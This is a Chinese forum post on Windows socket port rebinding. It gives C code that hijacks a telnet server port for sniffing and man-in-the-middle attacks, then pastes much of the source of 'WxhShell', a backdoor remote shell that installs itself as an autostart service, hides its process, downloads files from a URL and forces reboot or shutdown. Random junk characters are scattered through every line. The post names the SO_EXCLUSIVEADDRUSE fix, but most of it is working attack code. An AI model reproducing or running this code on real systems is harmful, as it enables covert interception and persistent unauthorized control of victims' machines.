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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fmc\Li  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CS(2bj^6 D  
p:W]  
  saddr.sin_family = AF_INET; .jk A'i@  
;e/F( J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 18Z1F  
kV4Oq.E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3JBXGT0gJ  
GdVF;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jY]51B  
Gsb^gd  
  这意味着什么?意味着可以进行如下的攻击: U,;796h  
4nh=Dq[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zp<B,Ls  
vlE]RB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7}6CUo  
gkA_<,38  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +{V`{'  
v~x4Y,m%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g<.Is V  
ci$J?a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ef28  
~ &Ne P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xz.Jmv  
m|c [C\)By  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #vga qe9  
:Q ]"dbY^  
  #include NlKVl~_ C  
  #include ^7YNM<_%@  
  #include )Se$N6u-  
  #include    fi`\e W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z${eDl6i  
  int main() [YHtBM:y  
  { ; teM^zyI  
  WORD wVersionRequested; qxu3y+po]  
  DWORD ret; 0F/[GZ<k  
  WSADATA wsaData; 3]mprX'  
  BOOL val; T]-MrnO  
  SOCKADDR_IN saddr; ~"SQwE|  
  SOCKADDR_IN scaddr; 09jE7g @X}  
  int err; }l[e@6r F  
  SOCKET s; U$& '>%#  
  SOCKET sc; >Bf3X&uS  
  int caddsize; +,LWyvc'  
  HANDLE mt; c$7~EP  
  DWORD tid;   HdB>CVuh  
  wVersionRequested = MAKEWORD( 2, 2 ); .O5V;&,  
  err = WSAStartup( wVersionRequested, &wsaData ); m:[I$b6AY  
  if ( err != 0 ) { ?{^_z_,  
  printf("error!WSAStartup failed!\n"); H)7v$A,5%  
  return -1;  ID,_0b  
  } 9,`i[Dzp  
  saddr.sin_family = AF_INET; rVoV@,P  
   T>rmm7F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L-D4>+  
ob;|%_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2[qfF6FHA  
  saddr.sin_port = htons(23); vB_3lAJt@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~nfOV*  
  { x"NQatdq  
  printf("error!socket failed!\n"); 86Q3d%;-yo  
  return -1; 2J&~b8:  
  } "IT7.!=@9  
  val = TRUE; %gAT\R_f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q'Osw"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *?HGi>]\ |  
  { N\g=9o|Q  
  printf("error!setsockopt failed!\n"); ~a`[p\  
  return -1; D^US2B  
  } eDZ8F^0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \?T9 v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zHX\h [0f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Fw\Z[nh  
ckA\{v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iKJqMES  
  { i:0v6d  
  ret=GetLastError(); {eaR,d~X  
  printf("error!bind failed!\n"); 2WFZ6  
  return -1; $a*7Q~4  
  } =N\; ?eF(  
  listen(s,2); D4 8e30  
  while(1) :1j8!R5  
  { X%IqZ{ {  
  caddsize = sizeof(scaddr); -GPJ,S V>  
  //接受连接请求 CMW4Zqau*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P7XZ|Td4*  
  if(sc!=INVALID_SOCKET) 49&i];:%7%  
  { +?o!"SJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (!5Ta7X  
  if(mt==NULL) JpC=ACF  
  { TsK!36cg  
  printf("Thread Creat Failed!\n"); S7f.^8  
  break; e>Z&0lV:  
  } b3E1S+\=~  
  } .c+U=bV-  
  CloseHandle(mt); <7\j\`  
  } i3N{Dt  
  closesocket(s); (is',4^b  
  WSACleanup(); $It mYj.m  
  return 0; s"`~Xnf  
  }   m.m6.  
  DWORD WINAPI ClientThread(LPVOID lpParam) nXLz<wE  
  { j}ob7O&U'w  
  SOCKET ss = (SOCKET)lpParam; Mu[lk=jC  
  SOCKET sc; #:gl+  
  unsigned char buf[4096]; 2MRd  
  SOCKADDR_IN saddr; OVi < d  
  long num; Ul_Zn  
  DWORD val; 1#,4P1"  
  DWORD ret; rxgSQ+G_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9,INyEyAL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B\RAX#  
  saddr.sin_family = AF_INET; M0fN[!*z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iv~R4;;)  
  saddr.sin_port = htons(23); Nt@|l7Xl*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s"=TM$Vb  
  { 8c)GUx  
  printf("error!socket failed!\n"); >^jBE''  
  return -1; $45|^.b  
  } X+XDfEt:Q  
  val = 100; -K =.A* }  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QX<n^W  
  { {fACfSW6  
  ret = GetLastError(); F(ydqgH~a  
  return -1; Hq W /  
  } -a)1L'R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Unb2D4&'  
  { KSchgon0V  
  ret = GetLastError(); <!Cjq,Sk7  
  return -1; h$'6."I  
  } Ra|P5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l!x+K&  
  { _HHvL=  
  printf("error!socket connect failed!\n"); #kM|!U=  
  closesocket(sc); Ow/,pC >V  
  closesocket(ss); W:RjWn@<  
  return -1; 6 H P 66B  
  } j J{F0o  
  while(1) LRu,_2"  
  { rH`\UZ{cc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 prj(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0Gs\x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F}u'A,Hc  
  num = recv(ss,buf,4096,0); _gqqPny4$  
  if(num>0) c1k[)O~  
  send(sc,buf,num,0); nKm# kb  
  else if(num==0) 0 MK}  
  break; 5VTVx1P[8  
  num = recv(sc,buf,4096,0); aG }oI!  
  if(num>0) $vu*# .w  
  send(ss,buf,num,0); -n9&W  
  else if(num==0) %@vF%   
  break; 2X\Pw  
  } tC'E#2  
  closesocket(ss); BwWSztJ+B  
  closesocket(sc); NF8<9  
  return 0 ; )%@7tx  
  } %JE>Z]  
4}m9,  
$~b6H]"9  
========================================================== IrL%0&*hS  
2V)+ ba|+  
下边附上一个代码,,WXhSHELL g9" wX?*  
F9o7=5WAb  
========================================================== Xb%Q%"?~  
vWoppt  
#include "stdafx.h" /*y5W-'d^  
Q[#}Oh6$  
#include <stdio.h> ?0t^7HMP  
#include <string.h> ({j8|{)+  
#include <windows.h> ?2&= +QaT  
#include <winsock2.h> dHIk3j-!  
#include <winsvc.h> Q)0KYKD+@  
#include <urlmon.h> GmR3 a  
e El)wZ,A  
#pragma comment (lib, "Ws2_32.lib") H7tv iSTd  
#pragma comment (lib, "urlmon.lib") jvB[bS`<H  
-SM_JR3<  
#define MAX_USER   100 // 最大客户端连接数 $$m0mK  
#define BUF_SOCK   200 // sock buffer P5?VrZy  
#define KEY_BUFF   255 // 输入 buffer > mO*.'Gm  
pRun5 )7  
#define REBOOT     0   // 重启 4tCM 2it%  
#define SHUTDOWN   1   // 关机 Vr},+Rj  
!4afU:  
#define DEF_PORT   5000 // 监听端口 csW\Q][  
9s"st\u 4  
#define REG_LEN     16   // 注册表键长度 < 9,h!  
#define SVC_LEN     80   // NT服务名长度 MG vz-E1e  
)7*'r@  
// 从dll定义API cK1^jH<|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7G_<+rn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  J| N 6r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <{cY2cx~3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6 ^3RfF^W  
xw9ZRu<z  
// wxhshell配置信息 F~6]II  
struct WSCFG { [cnu K  
  int ws_port;         // 监听端口 o>8~rtl  
  char ws_passstr[REG_LEN]; // 口令 <Ja&z M  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1+Gq<]@G  
  char ws_regname[REG_LEN]; // 注册表键名 T]wI)  
  char ws_svcname[REG_LEN]; // 服务名 1M&Lb. J6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ge`7`D>L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jl P*RX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $L= Dky7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `*vO8v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l48$8Mgrr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *gwaW!=  
44*#qLN  
}; @6G)(NGD  
OY{fxBb  
// default Wxhshell configuration SvSO?H!-  
struct WSCFG wscfg={DEF_PORT, o08g]a  
    "xuhuanlingzhe", D@La-K*5  
    1, veq3t$sj  
    "Wxhshell", A8&@Vxdz  
    "Wxhshell", ;=,-C ;`  
            "WxhShell Service", #$BFTlm|  
    "Wrsky Windows CmdShell Service", }eVDe(7_  
    "Please Input Your Password: ", 3tf_\E+mIi  
  1, et+lL"&  
  "http://www.wrsky.com/wxhshell.exe", B9NUafK=  
  "Wxhshell.exe" 6#U~>r/  
    }; ]!AS%D`  
&tZIWV1&  
// 消息定义模块 v<v;ZR)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }3: mn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *:H,-@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jz<}9Kze  
char *msg_ws_ext="\n\rExit."; .rk5u4yK  
char *msg_ws_end="\n\rQuit."; "]=OR>  
char *msg_ws_boot="\n\rReboot..."; @}4>:\es  
char *msg_ws_poff="\n\rShutdown..."; nCi ]6;Y  
char *msg_ws_down="\n\rSave to "; W5Z-s.o  
n' mrLZw  
char *msg_ws_err="\n\rErr!"; SEI0G_wk$  
char *msg_ws_ok="\n\rOK!"; fsjLD|?|:  
myA;Y  
char ExeFile[MAX_PATH]; 9wR D=a  
int nUser = 0; t}R!i-D|HB  
HANDLE handles[MAX_USER]; 8j>V?'Szk  
int OsIsNt; r7W.}n*  
R7Qj<,  
SERVICE_STATUS       serviceStatus; #k9&OS?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [ ojL9.6  
dQIF '==6  
// 函数声明 =7+%31  
int Install(void); Oz%6y ri  
int Uninstall(void); ;t+p2i  
int DownloadFile(char *sURL, SOCKET wsh); 6ZI Pe~`  
int Boot(int flag); 01@ WU1IN  
void HideProc(void); S Q:H2vvD  
int GetOsVer(void); :0y-n.-{  
int Wxhshell(SOCKET wsl); ouCh2Y/_  
void TalkWithClient(void *cs); =Lkn   
int CmdShell(SOCKET sock); fC'u-m?!Q'  
int StartFromService(void); sX6\AYF1M  
int StartWxhshell(LPSTR lpCmdLine); N-2#-poDe  
'df@4}9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >Y4^<!\v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YA@?L!F  
:4zPYG o  
// 数据结构和表定义 l\ dPfJ  
SERVICE_TABLE_ENTRY DispatchTable[] = }K 'A/]'  
{ oA5Qk3b:  
{wscfg.ws_svcname, NTServiceMain}, 5 b rM..  
{NULL, NULL} Kc[^Pu  
}; U=JK  
Kq")|9=d  
// 自我安装 'G65zz  
int Install(void) sBZn0h@  
{ RTVU3fw  
  char svExeFile[MAX_PATH]; 4Vi*Qa_,y  
  HKEY key; ** m8 HD  
  strcpy(svExeFile,ExeFile); 2j4202  
TFb7P/g  
// 如果是win9x系统,修改注册表设为自启动 ]7<$1ta  
if(!OsIsNt) { B)7:*Kj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h:bx0:O"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s;P _LaIp)  
  RegCloseKey(key); fZf>>mu@r'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H%m^8yW1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X$==J St  
  RegCloseKey(key); a"P & 9c  
  return 0;  Fw[1Aa#  
    } 6?}|@y^fb  
  } ,2!7iX  
} mIf)=RW  
else { BsXF'x<U*  
P4"BX*x  
// 如果是NT以上系统,安装为系统服务 7Q{&L#;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4wKCz Py  
if (schSCManager!=0) Fb<'L5}i  
{ 0(c,J$I]Z!  
  SC_HANDLE schService = CreateService &kd W(;`  
  ( S".|j$  
  schSCManager, <P1nfH  
  wscfg.ws_svcname, R5b,/>^'A  
  wscfg.ws_svcdisp, MMjewGxe  
  SERVICE_ALL_ACCESS, ):G+*3yb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +>1Yp">?  
  SERVICE_AUTO_START, x3'ANw6E  
  SERVICE_ERROR_NORMAL, 2 Ax(q&`9  
  svExeFile, dKPXs-5  
  NULL, "8a V~]~Dj  
  NULL, R{brf6,  
  NULL, ]z7pa^  
  NULL, 0o7o;eN  
  NULL >1Iw!SO+  
  ); [i~@X2:Al  
  if (schService!=0) Z-t qSw8n  
  { w\ '5l k,"  
  CloseServiceHandle(schService); M GC=L .  
  CloseServiceHandle(schSCManager); % }b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w@WtW8 p^  
  strcat(svExeFile,wscfg.ws_svcname); w`boQ_Ir  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M"c=_5P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )LG!"~qiz  
  RegCloseKey(key); &:d`Pik6  
  return 0; zLr:zfl  
    } -GL.8" c[  
  } ^&F.T-(A  
  CloseServiceHandle(schSCManager); g[b;1$  
} &gV9h>Kc#  
} `Q+O#l?  
hHMp=8J7  
return 1; h{yh}04P1  
} )sIzBC  
{nZP4jze  
// 自我卸载 zwUZ*Se  
int Uninstall(void) %QDAog  
{ }}Q h_(  
  HKEY key; _JpTHpqu  
 w D  
if(!OsIsNt) { %j0c|u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { agoMsxI9  
  RegDeleteValue(key,wscfg.ws_regname); F$v^S+Ch  
  RegCloseKey(key); cPL6(&7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l}S96B  
  RegDeleteValue(key,wscfg.ws_regname); \RVfgfe  
  RegCloseKey(key); ,UVd+rY}  
  return 0; vG}\Amx+  
  } sWA-_4  
} j bOwpyH  
} V:D?i#%,z  
else { aQWg?,Ju6  
5#_GuL%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V+' zuX  
if (schSCManager!=0) !Y^B{bh  
{ _B 4 N2t$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L eUp!  
  if (schService!=0) q2Gm8>F1y.  
  { IH=%%AS  
  if(DeleteService(schService)!=0) { z5^Se!`5  
  CloseServiceHandle(schService); a#Z#-y!  
  CloseServiceHandle(schSCManager); [mUC7Kpi  
  return 0; q 3,p=ijJ  
  } l Hu8ADva  
  CloseServiceHandle(schService); +^,&z}( Ak  
  } }i;!p Ue$  
  CloseServiceHandle(schSCManager); i[vN3`*B  
} 'Um\m  
} -oju-gf K  
#B$_ily)  
return 1; X=Y>9  
} ]nS9taEA   
O St~P^1  
// 从指定url下载文件 #R= 6$  
int DownloadFile(char *sURL, SOCKET wsh) g>?,,y6/w  
{ &fxyY (  
  HRESULT hr; sBN4:8  
char seps[]= "/"; B`%%,SLJ  
char *token; L@ N\8mf  
char *file; Qmv8T ^+  
char myURL[MAX_PATH]; :$^sI"hO  
char myFILE[MAX_PATH]; >va9*pdJ  
OYfP!,+bn  
strcpy(myURL,sURL); ui*CA^ Y  
  token=strtok(myURL,seps); Ag]Hk %  
  while(token!=NULL) q>a/',m  
  { hG/Z65`&  
    file=token; |msQ  
  token=strtok(NULL,seps); dBL{Mbh2Z  
  } `Z#]lS?  
pKL^ <'w0  
GetCurrentDirectory(MAX_PATH,myFILE); ]\=M$:,RZ  
strcat(myFILE, "\\"); 8{.:$T  
strcat(myFILE, file); lgCOp%>  
  send(wsh,myFILE,strlen(myFILE),0); OB+I.qlHP  
send(wsh,"...",3,0); sgeME^v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @ao Hz8K  
  if(hr==S_OK) Q0_|?]v  
return 0; ;cZ]^kof  
else bJ.68643  
return 1; ps]s Tw  
J}&xS<  
} 8+~|!)a  
ZnB|vfL?  
// 系统电源模块 x6~`{N1N M  
int Boot(int flag) 9fb"R"(M  
{ 0V#eC  
  HANDLE hToken; @|o^]-,  
  TOKEN_PRIVILEGES tkp; '"Dgov$q  
dLu3C-.(  
  if(OsIsNt) { 6EX8,4c\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); | )R{(AK-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  N5GQ2V  
    tkp.PrivilegeCount = 1; -}<W|r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cW, 6 MAQo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R$ 40cW3`  
if(flag==REBOOT) {  ^pZ\:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =kWm9W<^  
  return 0; <j89HtCz  
} Y]1b3 9O  
else { )e:u 6]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uJHf6Ye  
  return 0; >RT02Ey>  
} R<-(  
  } K5q9u-7  
  else { k*xgF[T 8  
if(flag==REBOOT) { ?IV3"\5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bQ2 '*T  
  return 0; s@bo df&  
} X5D}<J2"  
else { H`ZUI8-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fNaS?tV)  
  return 0; ,a,coeL  
} f qU*y 6]  
} x k5Z&z  
/7<l`RSr  
return 1; KrT+Svm  
} H@,(  
U.QjB0;  
// win9x进程隐藏模块 KC{ HX?  
void HideProc(void) }<kpvd+ps=  
{ m-No 8)2yA  
7[W! Nx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Rm!Iv&{  
  if ( hKernel != NULL ) @RF !p  
  { x+7jJ=F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gG.b=DvzY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3 a G?^z  
    FreeLibrary(hKernel); g&V1<n\b+  
  } ;M"JN:J8  
8wqHr@}p  
return; 5rpTR  
}  cUz7F  
MRdZ'  
// 获取操作系统版本 'Nv*ePz  
int GetOsVer(void) J@c)SK%2h  
{ \a8<DR\@O  
  OSVERSIONINFO winfo; Yl#r9TM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EBN'u&zX  
  GetVersionEx(&winfo); @9^ozgg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~vIQ-|8r:  
  return 1; (1(dL_?  
  else 3Vl?;~ :5  
  return 0; jn9KQe\3  
} iWZrZ5l  
kMz^37IFMG  
// 客户端句柄模块 s`G3SE  
int Wxhshell(SOCKET wsl) KfsURTZ  
{ Ojf.D6nY  
  SOCKET wsh; ^?H3:CS  
  struct sockaddr_in client; |%R}!O<.c  
  DWORD myID; EnGVp<6R  
C&m[/PJ~l  
  while(nUser<MAX_USER) EI*B(  
{ -*u7MFq_  
  int nSize=sizeof(client); /=}w%-;/;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b*xw=G3%  
  if(wsh==INVALID_SOCKET) return 1; /}\EMP  
0a??8?Q1G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q9 b.]W  
if(handles[nUser]==0) E1'HdOh&z  
  closesocket(wsh); gSP]& _9j  
else J]A!>|Ic  
  nUser++; -Fe) )Y'=  
  } 2R2ws.}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E hROd  
r_f?H@v  
  return 0; 3U0>Y%m|,  
}  3%G>TB  
*1fq:--  
// 关闭 socket #%xzy@`  
void CloseIt(SOCKET wsh) EencMi7J  
{ c-L1 Bkw  
closesocket(wsh); B6&;nU>;  
nUser--; %EuJ~;x(Mg  
ExitThread(0); Fcc\hV;  
} A&OU;j]  
fWKI~/eUY|  
// 客户端请求句柄 ;x*_h  
void TalkWithClient(void *cs) tk@ T-;  
{ 0wCJNXm  
-rSp gk0wL  
  SOCKET wsh=(SOCKET)cs; B\,pbOE?#  
  char pwd[SVC_LEN]; \Q"j^4   
  char cmd[KEY_BUFF]; I dsPB)k_  
char chr[1]; Qx-/t9`!Z  
int i,j; 3: 'eZ cM  
oz(V a!  
  while (nUser < MAX_USER) { ab5 a>w6}  
XjL)WgQ{i  
if(wscfg.ws_passstr) { dBKL_'@@}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KErQCBeJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {;6Yi!  
  //ZeroMemory(pwd,KEY_BUFF); :d v{'O  
      i=0; d7.}=E.L  
  while(i<SVC_LEN) { ^u@"L  
{2EIvKu3:  
  // 设置超时 )a ov]Ns  
  fd_set FdRead; FA}dKE=c Q  
  struct timeval TimeOut; ;by` [)  
  FD_ZERO(&FdRead); V7Z+@e-5  
  FD_SET(wsh,&FdRead); Em?Z  
  TimeOut.tv_sec=8; ' XJ>;",[  
  TimeOut.tv_usec=0; eM";P/XaX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B8){  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }&+b\RE  
uOzol~TU)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tA2Py  
  pwd=chr[0]; fk5xIW  
  if(chr[0]==0xd || chr[0]==0xa) { 1 PL2[_2:  
  pwd=0; w\o?p.drp=  
  break; )YE3n-~7{  
  } P;7JK=~k  
  i++; q#RUL!WF7U  
    } uURm6mVt9:  
c]SXcA;Pmv  
  // 如果是非法用户,关闭 socket z>rl7&[@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =P}ob eY  
} $l05VZ  
9Z.Xo kg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7>#?-, B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZG29q>  
wldv^n hM  
while(1) { >yr:L{{D}G  
} + ]A?'&  
  ZeroMemory(cmd,KEY_BUFF); HjCWsQM  
km@V|"ac _  
      // 自动支持客户端 telnet标准   vS#Y,H:yAj  
  j=0; S{HAFrkm7  
  while(j<KEY_BUFF) { 0wM2v[^YO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c2Q KI~\x  
  cmd[j]=chr[0]; q~esxp  
  if(chr[0]==0xa || chr[0]==0xd) { Ass :  
  cmd[j]=0; 2a=3->D&  
  break; us j:I`>  
  } >Q5et1c  
  j++; ?VUU[h8"v5  
    } k!?sHUAj  
d}@b 3   
  // 下载文件 K/xn4N_UX  
  if(strstr(cmd,"http://")) { 99<]~,t=5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gw!VPFV>W  
  if(DownloadFile(cmd,wsh)) sIUhk7Cd8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =35g:fL  
  else S#h-X(4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ _ ogeD  
  } 2/XrorV  
  else { b 6kDkE  
s7(NFX5  
    switch(cmd[0]) { \wMqVRPoQ  
  6T"4<w[  
  // 帮助 ``X1xiB  
  case '?': { RT+pB{Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WP5cC@x  
    break; JVfSmxy.  
  } (*~'#k  
  // 安装 6,wi81F,}  
  case 'i': { 2IfcdYG  
    if(Install()) 0d>|2QV   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R[#Np`z  
    else m*bTELb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / thFs4  
    break; 1SAO6Wh  
    } C{{RU7iqc&  
  // 卸载 !4.VK-a9V%  
  case 'r': { n["G ry  
    if(Uninstall()) &`@S_YLr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {lam],#r  
    else {ef9ov Xk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p{@jM  
    break; |Y-{)5/5}  
    } $6[%NQp  
  // 显示 wxhshell 所在路径 91f{qq=#J{  
  case 'p': { 6!39t  
    char svExeFile[MAX_PATH]; NUO#[7OK+x  
    strcpy(svExeFile,"\n\r"); CvOji 1  
      strcat(svExeFile,ExeFile); '6g;UOx^=  
        send(wsh,svExeFile,strlen(svExeFile),0); lJHU1 gu  
    break; @\*`rl]  
    } .ZOG,h+8  
  // 重启 WswM5RN  
  case 'b': { _cc3 7[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8'>yB  
    if(Boot(REBOOT)) $^TxLv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g5& ZXA  
    else { p>ba6BDJT  
    closesocket(wsh); 4h*c{do  
    ExitThread(0); %LM2CgH V  
    } |*fi!nvk@  
    break; dI(1L~  
    } K#%@4]jO3  
  // 关机 C.|.0^5  
  case 'd': { q1^bH 6*fl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;S_Imf0$v  
    if(Boot(SHUTDOWN)) X-4(oE  
